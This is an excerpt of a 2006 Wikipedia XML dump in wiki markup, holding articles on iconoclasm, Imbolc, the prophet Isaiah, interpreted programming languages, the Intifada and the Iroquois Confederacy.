Emperor [[Leo V]] (reigned 813&amp;ndash;820) instituted a second period of Iconoclasm in [[813]], again possibly moved in part by military failures seen as indicative of divine displeasure.  Leo was succeeded by [[Michael II]], who in an 824 letter to Louis the Pious lamented the appearance of image veneration in the church and such practices as making icons baptismal [[Godparent|godfather]]s to infants.  He confirmed the decrees of the Iconoclast Council of 754.

Michael was succeeded by his son, [[Theophilus (emperor)|Theophilus]].  Theophilus died leaving his wife [[Theodora, wife of Theophilus | Theodora]] regent for his minor heir, [[Michael III]].  Like Irene 50 years before her, Theodora mobilized the iconodules and proclaimed the restoration of icons in 843.  Since that time the first Sunday of [[Lent]] is celebrated in the churches of the Orthodox tradition as the feast of the &quot;Triumph of Orthodoxy&quot;.

===Issues in Byzantine Iconoclasm=== [[Image:Khludov.gif|thumb|225px|In this page of the [[Chludov Psalter]], the anti-Iconoclast minuaturist illustrated the line &quot;They gave me gall to eat; and when I was thirsty they gave me vinegar to drink&quot; with a picture of a soldier offering Christ vinegar on a sponge attached to a pole. Below is a picture of an Iconoclast deleting the image of Christ with a similar sponge attached to a pole.]]
What accounts of iconoclast arguments remain are largely found in iconodule writings.  To understand iconoclastic arguments, one must note the main points:
# Iconoclasm condemned the making of any lifeless image (e.g. painting or statue) that was intended to represent Jesus or one of the saints. The Epitome of the Definition of the Iconoclastic Conciliabulum held in 754 declared: &quot;Supported by the Holy Scriptures and the Fathers, we declare unanimously, in the name of the Holy Trinity, that there shall be rejected and removed and cursed one of the Christian Church every likeness which is made out of any material and colour whatever by the evil art of painters.... If anyone ventures to represent the divine image (karakthr) of the Word after the Incarnation with material colours, let him be anathema! .... If anyone shall endeavour to represent the forms of the Saints in lifeless pictures with material colours which are of no value (for this notion is vain and introduced by the devil), and does not rather represent their virtues as living images in himself, let him be anathema!&quot; 
#  For iconoclasts, the only real religious image must be an exact likeness of the prototype--of the same substance--which they considered impossible, seeing wood and paint as empty of spirit and life.  Thus for iconoclasts the only true (and permitted) &quot;icon&quot; of Jesus was the Eucharist, which was believed to be his actual body and blood.
#  Any true image of Jesus must be able to represent both his divine nature (which is impossible because it cannot be seen nor encompassed) and his human nature (which is possible).  But by making an icon of Jesus, one is separating his human and divine natures, since only the human can be depicted (separating the natures was considered Nestorianism), or else confusing the human and divine natures, considering them one (union of the human and divine natures was considered Monophysitism).
#  Icon use for religious purposes was viewed as an innovation in the Church, a Satanic misleading of Christians to return to pagan practice.  &quot;''Satan misled men, so that they worshipped the creature instead of the Creator. The Law of Moses and the Prophets cooperated to remove this ruin...But the previously mentioned demiurge of evil...gradually brought back idolatry under the appearance of Christianity.''&quot; (''Epitome'', Iconoclast Council at Hieria, 754)  It was also seen as a departure from ancient church tradition, of which there was a written record opposing religious images.

The chief theological opponents of iconoclasm were the monks Mansur ([[John of Damascus]]), who, living in Muslim territory as advisor to the Caliph of Damascus, was far enough away from the Byzantine emperor to evade retribution, and [[Theodore the Studite]], who lived within the Empire.

John declared that he did not venerate matter, &quot;but rather the creator of matter.&quot;  However he also declared, &quot;But I also venerate the matter through which salvation came to me, as if filled with divine energy and grace.&quot;  He includes in this latter category the ink in which the gospels were written as well as the paint of images, the wood of the Cross, and the body and blood of Jesus.

The iconodule response to iconoclasm included:
#  Assertion that the biblical commandment forbidding images of God  had been superseded by the incarnation of Jesus, who, being the second person of the Trinity, is God incarnate in visible matter. Therefore, they were not depicting the invisible God, but God as He appeared in the flesh. This became an attempt to shift the issue of the incarnation in their favor, whereas the iconoclasts had used the issue of the incarnation against them.
#  Further, in their view idols depicted persons without substance or reality while icons depicted real persons.  Essentially the argument was &quot;all religious images not of our faith are idols; all images of our faith are icons to be venerated.&quot; This was considered comparable to the Old Testament practice of only offering burnt sacrifices to God, and not to any other gods.
#  Regarding the written tradition opposing the making and veneration of images, they asserted that icons were part of unrecorded oral tradition (''parádosis'', sanctioned in Orthodoxy as authoritative in doctrine by reference to [[2 Thessalonians]] 2:15, [[Basil the Great]], etc.). 
#  Iconodules further argued that decisions such as whether icons ought to be venerated were properly made by the church assembled in council, not imposed on the church by an emperor. Thus the issue also involved the issue of the proper relationship between church and state. Related to this was the observation that it was foolish to deny to God the same honor that was freely given to the human emperor.

Emperors had always intervened in ecclesiastical matters since the time of Constantine I; as Cyril Mango writes, &quot;The legacy of Nicaea, the first universal council of the Church, was to bind the emperor to something that was not his concern, namely the definition and imposition of orthodoxy, if need be by force&quot; (Oxford History of Byzantium, 2002).  That practice continued from beginning to end of the Iconoclastic controversy and beyond, with some emperors enforcing iconoclasm, and two empresses regent enforcing the re-establishment of icon veneration.  One distinction between the iconoclastic emperors and Constantine I is that the latter did not dictate the conclusion of the First Council of Nicaea before summoning it, whereas Leo III began enforcing a policy of iconoclasm more than twenty years before the Council of Hieria would endorse it.

== Islamic and Buddhist iconoclasm ==

Because of the prohibition against figural decoration in mosques &amp;mdash; not, as is often said, a total ban on the use of images &amp;mdash; some Muslim groups have on occasion committed acts of iconoclasm against the devotional images of other religions.  A recent example of this is the 2001 destruction of [[fresco]]es and the [[Taliban#Buddhas_of_Bamiyan | monumental statues of the Buddha]] at [[Bamiyan Province|Bamiyan]] by a radical sect and nationalist group, the [[Taliban]].

Historically, despite a religious prohibition on destroying or converting houses of worship, conquering Muslim armies would use local temples or houses of worship as mosques. An example is the [[Hagia Sophia]], Church of the Holy Wisdom, in [[Istanbul]], formerly [[Constantinople]] which was converted into a mosque in [[1453]], when its mosaics were covered with plaster instead of being destroyed. The [[Dome of the Rock]] in [[Jerusalem]] was built on top of the remains of the Jewish [[Temple in Jerusalem]].

Similar acts of iconoclasm occurred in parts of north Africa.

In [[India]], a number of former Buddhist monasteries and Hindu temples were conquered and rebuilt as mosques.  In recent years, right-wing Hindu nationalists have torn down some of these mosques, such as the famous [[Babri Mosque | Babri Masjid]], and attempted to replace them with Hindu Temples.

== Reformation iconoclasm ==

Some of the [[Protestantism|Protestant]] reformers encouraged their followers to destroy [[Christian]] art works by insisting that they were idols.  [[Huldrych Zwingli]] and [[John Calvin]] promoted this approach to the adaptation of earlier buildings for Protestant worship. In [[1562]], some Calvinists destroyed the tomb of St. [[Irenaeus]] and the relics inside, which are said to have been under the altar of a church since his martyrdom in [[202]], though iconoclastic riots took place in [[Zürich]] (in [[1523]]), [[Copenhagen]] ([[1530]]), [[Münster]] ([[1534]]), [[Geneva]] ([[1535]]), [[Augsburg]] ([[1537]]) and [[Scotland]] ([[1559]]).

The [[Seventeen Provinces]] (now the [[Netherlands]] and [[Belgium]]) were hit by a large wave of Protestant iconoclasm in the summer of [[1566]]. This is called the ''Beeldenstorm'' and included such acts as the destruction of the statuary of the Monastery of [[Saint Lawrence]] in [[Steenvoorde]] after a ''[[Hagenpreek]]'', or field sermon, by Sebastiaan Matte; and the sacking of the Monastery of [[Saint Anthony]] after a sermon by Jacob de Buysere. The ''Beeldenstorm'' marked the start of the [[Eighty Years' War|revolution]] against the Spanish forces and the Catholic church. See [[Flanders]] for more on its history.

In [[England]], Bishop Joseph Hall of [[Norwich]] described the events of [[1643]] when troops and citizens, encouraged by a Parliamentary ordinance against superstition and [[idolatry]], behaved thus:
:'Lord what work was here! What clattering of glasses! What beating down of walls! What tearing up of monuments! What pulling down of seats! What wresting out of irons and brass from the windows! What defacing of arms! What demolishing of curious stonework! What tooting and piping upon organ pipes! And what a hideous triumph in the market-place before all the country, when all the mangled organ pipes, vestments, both copes and surplices, together with the leaden cross which had newly been sawn down from the Green-yard pulpit and the service-books and singing books that could be carried to the fire in the public market-place were heaped together'.

==See also==
*[[aniconism]]
*[[Iconography]]
*[[Buddhas of Bamiyan]]
*[[Censorship by organized religion]]

==External links==

*[http://www.theandros.com/iconoclast.html What Was the Iconoclast Controversy About?]
*[http://www.helleniccomserve.com/victory_of_icons.html An Eastern Orthodox perspective]

[[Category:Christianity]]
[[Category:Byzantine Empire]]
[[Category:Eighty Years' War]]

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  <page>
    <title>Imbolc</title>
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      <text xml:space="preserve">'''Imbolc''' is one of the four principal festivals of the pre-Christian [[Celtic calendar]], associated with fertility ritual, was subsequently adopted as [[Brigid of Ireland|St Brigid's Day]] in the Christian period, and in more recent times has been celebrated as a fire festival, one of eight holidays, festivals (4 Solar and 4 Fire/lunar) or [[Sabbat (neopaganism)|sabbat]]s of the [[Neopaganism|Neopagan]] [[wheel of the year]]. Imbolc is arguably one of the predecessors of the Christian holiday of [[Candlemas]].

Imbolc is conventionally celebrated on [[1 February]] although the Celtic festival commenced on [[January 31]].  In more recent times the occasion has been generally celebrated by modern pagans on Feb. 1 or 2. Some neopagans relate this celebration to the midpoint between the [[winter solstice]] and spring [[equinox]], which actually falls on Feb. 4 or 5. 

==Celtic origins==
Evidence of how Imbolc was celebrated in Ireland derives from folklore collected during the 19th and early 20th century in rural Ireland and Scotland, compared with studies of similar customs in Scandinavia. Like other festivals of the Celtic calendar in [[Irish mythology]], Imbolc was celebrated on the eve of [[1 February]], which marked the beginning of the day according to Celtic custom. 

The festival was traditionally associated with the onset of lactation of ewes, soon to give birth to the spring lambs.  This could vary by as much as two weeks before or after the start of February.

The name, in the Irish language, means &quot;in the belly&quot; (''i mbolg''), referring to the pregnancy of ewes, and is also a Celtic term for spring. Another name is '''Oimelc''', meaning &quot;ewe's milk&quot;; also [[Brigid]], referring to the Celtic [[goddess]] of [[smith]]craft, to whom the day is sacred.

That Imbolc was an important time to the ancient inhabitants of Ireland can be seen at the [[Mound of the Hostages]] in [[Tara, Ireland]]. Here, the inner chamber is perfecty aligned with the rising sun of both Imbolc and [[Samhain]].

The holiday is a festival of light, reflecting the lengthening of the day and the hope of spring. It is traditional to light all the lamps of the house for a few minutes on Imbolc, and rituals often involve a great deal of [[candle]]s. 


==St. Brigid's day==

In the modern [[Irish Calendar]], Imbolc is variously known as the Feast of St. [[Brigid of Ireland|Brigid]] (Secondary Patron of Ireland) and Lá Feabhra - the first day of [[Spring (season)|Spring]].

One view is that Christianity in an attempt to reconcile the popularity of this festival with its own traditions, took over the feast of Imbolc and effectively redesignated it as St Brigid's day.

One folk tradition that continues in both Christian and Pagan home on St. Brigid's Day (or Imbolc) is that of the Brigid's Bed. The young girls of the household or village create a corn dolly, adorning it with ribbons and baubles. The older women then make a bed for Bridig to lay in. On St. Brigid's Eve (Jan. 31), the young women gather together in one house to stay up all night with the corn dolly, and are later visited by all the young men of the community who must treat them and the corn dolly with respect. Meanwhile, the older women of the community stay at home and perform other ceremonies. 

Before going to bed, each household completely douses its hearth and rakes the ashes smooth. In the morning, they look for some kind of mark on the ashes, a sign that Brigid has passed that way in the night or morning.

On the following day, the Bride's Bed is brought from house to house, where she is welcomed with great honor. Since Brigid represents the Life Force that will bring people from the backside of winter into spring, her presence is very important at this time of year. People often will tap her effigy with an ash wand as well, perhaps an old remnant of more potent fertility rites that were once practiced.

==Modern Neopaganism==
 
Today, most modern neopagans celebrate it on the 1st or 2nd, the 2nd being more popular in [[ North America| America]], perhaps because of the holiday's later identification with [[Candlemas]]. In the southern hemisphere it is celebrated in August. 

Some modern Pagans argue that the [[Christianity|Christian]] feast of [[Candlemas]], whose date depends upon [[Christmas]], was a [[Christianization]] of the feast of Imbolc. On the other hand, there is no evidence that Imbolc was celebrated in pre-Christian times anywhere other than in [[Ireland]] whereas the celebration of Candlemas began in the eastern [[Mediterranean]].

Imbolc is often defined as a [[cross-quarter day]] midway between the [[winter solstice]] ([[Yule]]) and the [[spring equinox]] ([[Ostara]]), and the precise midpoint is half way through [[Aquarius]] (in the northern hemisphere) or [[Leo]] (in the southern hemisphere). By this definition Imbolc in the northern hemisphere coincides with [[Lughnasadh]] in the southern hemisphere.


Fire is important for this festival as [[Brigid]] (also known as [[Bride]], [[Brigit]], [[Brid]]) is the [[Goddess]] of fire, healing and fertility. The lighting of fires represents the increasing power of the Sun over the coming months.


References to the festival of the growing light can even be traced to modern America in the [[Groundhog Day]] custom on February 2. If the groundhog sees his shadow on this morning and is frightened back into his burrow, it means there will be six more weeks of winter. The custom comes directly from [[Europe]], and [[Scotland]] in particular, where an old couplet goes:
''
If Candlemas Day is bright and clear, there'll be two winters in the year.''

During the Winter, the [[Maiden]] is with the [[Dark Lord]] and the land is bare.

Imbolc is also a German acronym for ''Internationale magische Bildungsstätte für okkulte Lebenskunst und Credo''.[http://www.magieausbildung.de]

==References==

Further reading:  
*Nora Chadwick, ''The Celts'' (Penguin, 1970) p. 181.
*Séamas Ó Catháin, ''Festival of Brigit'' 1995.

See also: 
*[[Ostara|spring equinox (Ostara)]], 
*[[Bealtaine]], 
*[[Litha|summer solstice (Litha)]], 
*[[Lughnasadh]], 
*[[Mabon|autumn equinox (Mabon)]], 
*[[Samhain]]
*[[Yule|winter solstice (Yule)]].

[[Category:Neopagan holidays]]

==External links==
*[http://wiccaweb.com/sabbats.php] - The eight major Sabbats including Imbolc
*[http://wicca.timerift.net/sabbat.html] - The Sabbats including Imbolc
*[http://www.celticloreandmagic.com/holidays/imbolc.htm] - Celebrate Imbolc
*[http://www.celticloreandmagic.com/meditations/brigid-imbolc.htm] - An Imbolc Meditation
*[http://www.bbc.co.uk/religion/religions/paganism/festivals/imbolc.shtml BBC: Religion &amp; Ethics: Imbolc]
*[http://www.applewarrior.com/celticwell/ejournal/imbolc/yesterdays.htm Francine Nicholson, 1999. &quot;Imbolc in Yesterday's Ireland and Scotland&quot;]

[[es:Imbolc]]
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[[pt:Imbolc]]</text>
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  </page>
  <page>
    <title>Isaiah</title>
    <id>15088</id>
    <revision>
      <id>41197134</id>
      <timestamp>2006-02-25T18:45:51Z</timestamp>
      <contributor>
        <username>Ghirlandajo</username>
        <id>147410</id>
      </contributor>
      <minor />
      <comment>/* Critical Scholarship */</comment>
      <text xml:space="preserve">[[Image:Isaiah.jpg|thumb|right|300px|Isaiah the Prophet in Hebrew Scriptures was depicted on the Sistine Chapel ceiling by Michelangelo.]]

'''Isaiah''' or '''Yeshayáhu''' ('''&amp;#1497;&amp;#1456;&amp;#1513;&amp;#1473;&amp;#1463;&amp;#1506;&amp;#1456;&amp;#1497;&amp;#1464;&amp;#1492;&amp;#1493;&amp;#1468;''' &quot;Salvation of/is [[Tetragrammaton|the Lord]]&quot;, [[Standard Hebrew]] '''Y&amp;#601;&amp;#X161;a&amp;#703;yáhu''', [[Tiberian Hebrew]] '''Y&amp;#601;&amp;#X161;a&amp;#703;&amp;#259;y&amp;#257;hû''', [[Greek language|Greek]] '''Esaias''') was the son of [[Amoz]], and commonly considered the author of the [[Book of Isaiah]].  His ease of access to the king and other leaders (ref. Isa. 7:3; 8:2), taken with traditional sources which tell us that Isaiah was the cousin of [[Uzziah]] and therefore of [[royal]] [[lineage]], suggests he was of a family of high rank.  

Isaiah was married to a woman referred to as &quot;the prophetess&quot; (8:3).  Why she is called this is disputed.  Some believe she may have carried out a prophetic ministry in her own right, like [[Deborah]] ([[Judges]] 4:4) and [[Huldah]] ([[Books of Kings|2 Kings]] 22:14-20). Others maintain, however, that it was simply because she was the wife of &quot;the prophet&quot; (Isa. 38:1),and not because she was herself endowed with the prophetic gift.  Isaiah had by her two sons, who bore symbolic names (Isa. 8:18) - [[Shear-jashub]], 'Remnant will return' (7:3) and [[Maher-shalal-hash-baz]], 'To speed the spoil he hasteneth the prey' or, 'Destruction is imminent'(8:1-4).

He exercised the functions of his office during the reigns of [[Uzziah]] (or Azariah), [[Jotham of Judah|Jotham]], [[Ahaz]], and [[Hezekiah]] (1:1), the kings of [[kingdom of Judah|Judah]]. Uzziah reigned fifty-two years in the middle of the [[8th century BC]], and Isaiah must have begun his career a few years before Uzziah's death, probably in the [[740s BC]]. He lived till the fourteenth year of Hezekiah, and in all likelihood outlived that monarch (who died [[690s BC|698 BC]]), and may have been contemporary for some years with [[Manasseh]]. Thus Isaiah may have prophesied for the long period of at least sixty-four years.
[[Image:Ugolino di Nerio 001.jpg|thumb|left|The Prophet Isaiah, by Ugolino di Nerio]]
His first call to the prophetical office is not recorded. A second call came to him &quot;in the year that [[Uzziah|King Uzziah]] died&quot; (Isa. 6:1). He exercised his ministry in a spirit of uncompromising firmness and boldness in regard to all that bore on the interests of religion. He conceals nothing and keeps nothing back from fear of man. He was also noted for his spirituality and for his deep-toned reverence toward &quot;the holy One of Israel.&quot; Isaiah and [[Micah]] were contemporaries (see Isa. 1:1 and Micah 1:1). They concentrated their prophecies mainly on Judah and Jerusalem (Isa. 1:1). [[Amos]] and [[Hosea]] preceded Isaiah (Amos 1:1; Hosea 1:1) and they prophesied mainly against the Northern tribes of Israel.

In early youth Isaiah must have been moved by the invasion of [[kingdom of Israel|Israel]] by the [[Assyria]]n monarch [[Tiglath-Pileser III]] (2 Kings 15:19); and again, twenty years later, when he had already entered on his office, by the invasion of [[Tiglath-Pileser III|Tiglath-Pileser]] and his career of conquest. Ahaz, king of Judah, at this crisis refused to co-operate with the kings of [[kingdom of Israel|Israel]] and [[Syria]] in opposition to the Assyrians, and was on that account attacked and defeated by Rezin of [[Damascus]] and [[Pekah]] of Israel (2 Kings 16:5; [[Books of Chronicles|2 Chronicles]] 28:5, 6). Ahaz, thus humbled, sided with Assyria, and sought the aid of [[Tiglath-Pileser III|Tiglath-Pileser]] against Israel and Syria. The consequence was that Rezin and Pekah were conquered and many of the people carried captive to Assyria (2 Kings 15:29; 16:9; [[Books of Chronicles|1 Chronicles]] 5:26).

Soon after this [[Shalmaneser V]] determined wholly to subdue the kingdom of Israel, [[Samaria]] was taken and destroyed ([[720s BC|722 BC]]). So long as Ahaz reigned, the kingdom of Judah was unmolested by the Assyrian power; but on his accession to the throne, Hezekiah, who was encouraged by Isaiah to rebel &quot;against the king of Assyria&quot; (2 Kings 18:7), entered into an alliance with the king of [[Egypt]] (Isa. 30:2-4). This led the king of Assyria to threaten the king of Judah, and at length to invade the land. [[Sennacherib]] ([[700s BC|701 BC]]) led a powerful army into Judah. Hezekiah was reduced to despair, and submitted to the Assyrians (2 Kings 18:14-16). But after a brief interval war broke out again, and again Sennacherib led an army into Judah, one detachment of which threatened Jerusalem (Isa. 36:2-22; 37:8). Isaiah on that occasion encouraged Hezekiah to resist the Assyrians (37:1-7), whereupon Sennacherib sent a threatening letter to Hezekiah, which he &quot;spread before the Lord&quot; (37:14). According to the account in Kings (and its derivative account in Chronicles) the judgement of God now fell on the Assyrian army. &quot;Like [[Xerxes I|Xerxes]] in Greece, Sennacherib never recovered from the shock of the disaster in Judah. He made no more expeditions against either southern Palestine or Egypt.&quot;

The remaining years of Hezekiah's reign were peaceful (2 Chr. 32:23, 27-29). Isaiah probably lived to its close, and possibly into the reign of Manasseh, but the time and manner of his death are not specified in either the [[Bible]] or recorded history. There is a tradition that he suffered martyrdom in the pagan reaction in the time of Manasseh. Both [[Judaism|Jewish]] and [[Christianity|Christian]] traditions state that he was killed by being sawed in half. Some interpreters believe that this is what is referred to by [[Epistle to the Hebrews|Hebrews]] 11:37 (in the [[New Testament]]), which states that some prophets were &quot;sawn in two&quot;. It is also mentioned in the book of The Martyrdom of Isaiah that he lived into the days of Manasseh, and was also sawn in half with a wooden saw.

==Critical Scholarship== [[Image:Paris psalter.jpg|thumb|left|200px|''Prophet Isaiah Praying at Night'' (10th-century Byzantine miniature from the [[Paris Psalter]]).]] 

The noticable break between the first part of Isaiah (Is. 1-39) versus the latter half of the book (Is. 40-66) caught the eye of eighteenth century critical scholars Doderlein (1789) and Eichhorn (1783), who advocated a source-critical reading of the book, seeing chapters 40-66 as later, post-exilic additions, or even totally separate works artificially appended to the earlier composition.  The term &quot;Deutero-Isaiah&quot; described the anonymous later writer, to whom some ascribed some redactionary roles as well.  Some more recent commentators have further divided 40-66 by adding a third Isaiah, Trito-Isaiah, who wrote 56-66.   The provenance of the text in the latter half of the book seemed to support a post-exilic timeframe, with direct references to Cyrus, King of Persia 944:28; 45:1, 13), a lament for the ruined temple, and other details.  Also, the tone of the two halves is different; the first seems to warn erring Judah of impending divine judgement through foreign conquest, while the second seems to provide comfort to a broken people.

Other scholars, such as Margalioth (1964) challenged the view of multiple authorship by pointing out the remarkable unity of the book Isaiah in terms of theme, message, and vocabulary.  Even certain verbal formulas unique to Isaiah, such as &quot;the mouth of the Lord has spoken,&quot; appears in both halves of Isaiah but in no other Hebrew prophetic literature.  While clear differences between the two halves of the book were evident, thematically the two halves are remarkably similar, certainly more similar to each other than to any other existing prophetic literature.

Recent trends in critical scholarship have focused on synchronic approaches, which advocate a whole-text reading, rather than the traditional historical-critical diachronic approaches, which tend to be directed at taking the text apart, looking for sources, redactional seams, etc.   Inspired by Hebrew Bible literary criticism done by Robert Alter, recent scholars have tended to circumscribe authorship and historical-critical questions and look at the final form of the book as a literary whole, a product of the post-exilic era which is characterized by literary and thematic unity.

==External links==
*[http://www.newadvent.org/cathen/08179b.htm Isaiah (Isaias)] at the [[Catholic Encyclopedia]]
*[http://www.isaiah13.com Isaiah] Metal Band, UK

{{eastons}}

[[Category:Tanakh prophets]]
[[Category:Christian prophets]]



[[cs:Izajáš]]
[[de:Jesaja (Prophet)]]
[[es:Isaías]]
[[fr:Ésaïe]]
[[he:ישעיהו]]
[[pl:Izajasz]]
[[pt:Isaías]]
[[ro:Isaia]]
[[ru:Исаия]]
[[fi:Jesaja]]
[[sv:Jesaja]]</text>
    </revision>
  </page>
  <page>
    <title>Interpreted language</title>
    <id>15089</id>
    <revision>
      <id>40443549</id>
      <timestamp>2006-02-20T16:16:56Z</timestamp>
      <contributor>
        <ip>70.156.72.147</ip>
      </contributor>
      <comment>/* List of frequently interpreted languages */</comment>
      <text xml:space="preserve">In [[computer programming]], an '''interpreted language''' is a programming language whose programs may be executed from source form, by an [[interpreter (computer software)|interpreter]]. Any language may, in theory, be compiled ''or'' interpreted; therefore, this designation refers to languages' implementations rather than designs. In fact, many languages have both compilers and interpreters, including [[Lisp programming language|Lisp]], [[C programming language|C]], [[BASIC programming language|BASIC]], and [[Python programming language|Python]].

This term has no meaning in computer science, which strictly distinguishes between languages and implementations.  However, people often use it as a useful shortcut to signify languages that are traditionally interpreted, or for which no compilers are written.

==Historical background==
In the early days of computing, language design was heavily influenced by the decision to use compilation or interpretation as a mode of execution.  For example, some compiled languages require that programs must explicitly state the data-type of a [[variable]] at the time it is declared or first used.  On the other hand, some languages take advantage of the dynamic aspects of interpretation to make such declarations unnecessary.  For example, [[Smalltalk programming language|Smalltalk]]&amp;mdash;which was designed to be  interpreted at run-time&amp;mdash;allows generic Objects to dynamically interact with each other.

Initially, interpreted languages were compiled line-by-line; that is, each line was compiled as it was about to be executed, and if a loop or subroutine caused certain lines to be executed multiple times, they would be recompiled every time. This has become much less common. Most so-called interpreted languages use an [[intermediate representation]], which combines both compilation and interpretation. In this case, a compiler may output some form of [[bytecode]], which is then executed by a bytecode interpreter. Examples include [[Python programming language|Python]], [[Java programming language|Java]], and [[Perl programming language|Perl]]. Similarly, [[Ruby language|Ruby]] uses an [[abstract syntax tree]] as intermediate representation. The intermediate representation can be compiled once and for all, like Java, each time before execution like Perl or Ruby, or each time a change in the source is detected before execution like Python.

==Language features suiting interpreters well==
Interpreted languages still give programs certain extra flexibility over compiled languages.  Features that are easier to implement in interpreters than in compilers include (but are not limited to):
* [[platform (computing)|platform]] independence (Java's byte code, for example)
* reflective usage of the evaluator (e.g. a first-order [[eval]] function)
* [[dynamic typing]]
* ease of [[debugging]] (It is easier to get source code information in interpreted language)
* small program size (Since interpreted languages have flexibility to choose instruction code)
* [[polymorphism (computer science)|object polymorphism]]
* [[scope (programming)|dynamic scoping]]

==List of frequently interpreted languages==
* [[BASIC programming language|BASIC]] (although the original version, Dartmouth BASIC, was compiled, as are most modern BASICs)
* [[Ch interpreter|Ch]] (embeddable C/C++ interpreter)
* [[CINT]] (C/C++ interpreter)
* [[Euphoria programming language|Euphoria]]
* [[Forth programming language|Forth]]  (traditionally threaded interpreted)
* [[Java programming language|Java]] (compiled to bytecode which is then interpreted)
* [[JavaScript]]
* [[Lisp programming language|Lisp]] (Depends on the implementation, some are compiled, some are bytcode)
* [[Logo programming language|Logo]] (interpretation makes interactivity easier)
* [[Maple computer algebra system|Maple]]
* [[MATLAB]]
* [[MUMPS]] (traditionally interpreted, modern versions compiled)
* [[Perl programming language|Perl]] (compiled to bytecode which is then interpreted)  
* [[PHP]]
* [[Python programming language|Python]] (compiled to bytecode which is then interpreted) 
* [[Ruby programming language|Ruby]]
* [[Tcl]]

==See also==
*[[compiled language]]

[[Category:computer languages]]

[[ca:Llenguatge interpretat]]
[[fr:Langage interprété]]</text>
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    <title>Id</title>
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      <id>15912601</id>
      <timestamp>2003-11-06T19:42:36Z</timestamp>
      <contributor>
        <username>Docu</username>
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      <comment>redir</comment>
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  <page>
    <title>Intifada</title>
    <id>15095</id>
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      <id>41792285</id>
      <timestamp>2006-03-01T20:03:24Z</timestamp>
      <contributor>
        <username>Collounsbury</username>
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      <comment>Reverted to neutral language</comment>
      <text xml:space="preserve">'''Intifada''' (also '''Intefadah''' or '''Intifadah'''; from  {{Ar|انتفاضة}} ''{{ArabDIN|intifāḍah}}'' &quot;shaking off&quot;) is an [[Arabic language|Arabic]] term for &quot;[[uprising]]&quot;. 

*It came into common usage in English as the popularised name for two recent [[Palestinian]] campaigns directed at ending the Israeli military occupation. These two uprisings have been significant aspects of the [[Israeli-Palestinian conflict]] in recent years: 
**The '''[[First Intifada]]''' began in [[1987]]. Violence declined in [[1991]] and came to an end with the signing of the [[Oslo accords]] (August [[1993]]) and the creation of the [[Palestinian National Authority]].
**The '''[[al-Aqsa Intifada]]''' (also known as the Second Palestinian Intifada or the Second Intifada) was the violent Palestinian-Israeli conflict that began in September of 2000.

*A wave of demonstrations and riots that broke out in May [[2005]] in the [[Morocco|Moroccan-]][[List of disputed or occupied territories|occupied territory]] of [[Western Sahara]] that has been styled the '''&quot;[[Independence Intifada]]&quot;''' or the &quot;[[El Aaiún|El-Aaiun]] Intifada&quot; by pro-independence [[Sahrawi]] demonstrators, a usage also applied by activists to earlier incidents in the territory in [[1999]] (the [[Smara]] Intifada), and [[1970]] (the [[Zemla Intifada]], against [[Spain |Spanish]] occupation), although the usage was  not widely adopted outside seperatist activist circles.

*In [[1952]], citizens of [[Baghdad]] engaged in a series of large-scale protests against the [[Iraq]]i government, widely referred to as &quot;the Intifada&quot;. Following the United States–led [[2003 invasion of Iraq|invasion of Iraq in 2003]] [[Muqtada al-Sadr]], a militant [[Shia]] cleric, launched an uprising which he also referred to as the '''&quot;Iraqi Intifada&quot;''' [http://www.asianews.it/view.php?l=en&amp;art=585] aimed at ending the US-led foreign military presence in Iraq.

*'''&quot;Intifada of Independence&quot;''' is also the term used by the [[Lebanon|Lebanese]] media to refer to the events that occurred after [[Rafiq Hariri]]'s [[assassination]]. It is also known as the '''&quot;[[Cedar Revolution]]&quot;'''.


{{disambig}}

[[Category:Arabic words]]
[[Category:Arab-Israeli conflict]]
[[Category:Israeli-Palestinian conflict]]

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  <page>
    <title>Iroquois</title>
    <id>15096</id>
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      <id>42085271</id>
      <timestamp>2006-03-03T18:56:35Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.249.25.169|24.249.25.169]] ([[User talk:24.249.25.169|talk]]) to last version by 213.42.2.23</comment>
      <text xml:space="preserve">{{otheruses}}

The '''Iroquois Confederacy''' ('''Haudenosaunee''', also known as the League of Peace and Power, Five Nations, or Six Nations) is a group of [[First Nations]]/[[Native Americans in the United States|Native Americans]]. The Confederacy was based, at the time of the [[European colonization of the Americas#Early State Sponsored Colonists|arrival of the Europeans]], in what is now [[History of New York#Upstate New York|upstate New York]], as well as parts of [[Pennsylvania#History|Pennsylvania]], [[Ontario#Pre-1867|Ontario]], and 
[[Quebec#First Nations: Before 1500|Quebec]].
[[Image:1914 Panoramic View of Iroquois.jpg|thumb|400px|Iroquois, in [[Buffalo, New York|Buffalo]], [[New York]], 1914]]

== History == 
=== Prehistoric and Protohistoric period ===
This union of nations was established [[History of the Americas#Civilizations|prior to major European contact]], complete with a [[constitution]] known as the [[Gayanashagowa]] (or &quot;Great Law of Peace&quot;) recorded with the help of a memory device in the form of special beads called [[wampum]] that have inherent spiritual value (wampum has been innacurately compared to money in other [[culture]]s). Most [[Western world|Western]] [[anthropologist]]s speculate that this constitution was created between the middle [[1400s]] and early [[1600s]], but other scholars who account for Iroquois [[oral tradition]] argue that the event took place as early as [[1100]], with many arguing for [[August 31]], [[1142]] based on a coinciding [[solar eclipse]] (see Fields and Mann, ''American Indian Culture and Research Journal'', vol. 21, #2). Some Westerners have also suggested that the Constitution was written with European help, although most dismiss this notion as [[racism]]. 

The two [[Prophet#Prophets of different cultures#Other prophets|prophets]], [[Hiawatha]] and &quot;[[The Great Peacemaker]]&quot;, brought a message of [[peace]] to squabbling tribes. The tribes who joined the League were the [[Seneca tribe|Seneca]], [[Onondaga (tribe)|Onondaga]], [[Oneida tribe|Oneida]], [[Cayuga tribe|Cayuga]] and [[Mohawk nation|Mohawks]]. Once they ceased most infighting, they rapidly became one of the strongest forces in [[17th century|17th]] and [[18th century]] northeastern [[North America]].

The League engaged in a series of [[French and Iroquois Wars#History#Iroquois attacks in New France|wars against the French]] and their Iroquoian-speaking [[Wyandot|Wyandot (&quot;Huron&quot;)]] allies. They also put great pressure on the [[Algonquian]] peoples of the [[Atlantic coast]] and what is now subarctic [[Canada]] and not infrequently [[History of the United States (1776-1789)#Independence and the American Revolution|fought the English colonies]] as well. During the 17th Century, they are also credited with having destroyed the [[Neutral Indian]]s and [[Eriez#Fur trade and Beaver Wars|Erie Tribe]] as a way of controlling the [[fur trade]], even though other reasons are often given for these wars. Some survivors of these tribes were absorbed into the Iroquois tribes.

[[Image:hauflag.png|thumb|Modern flag]]

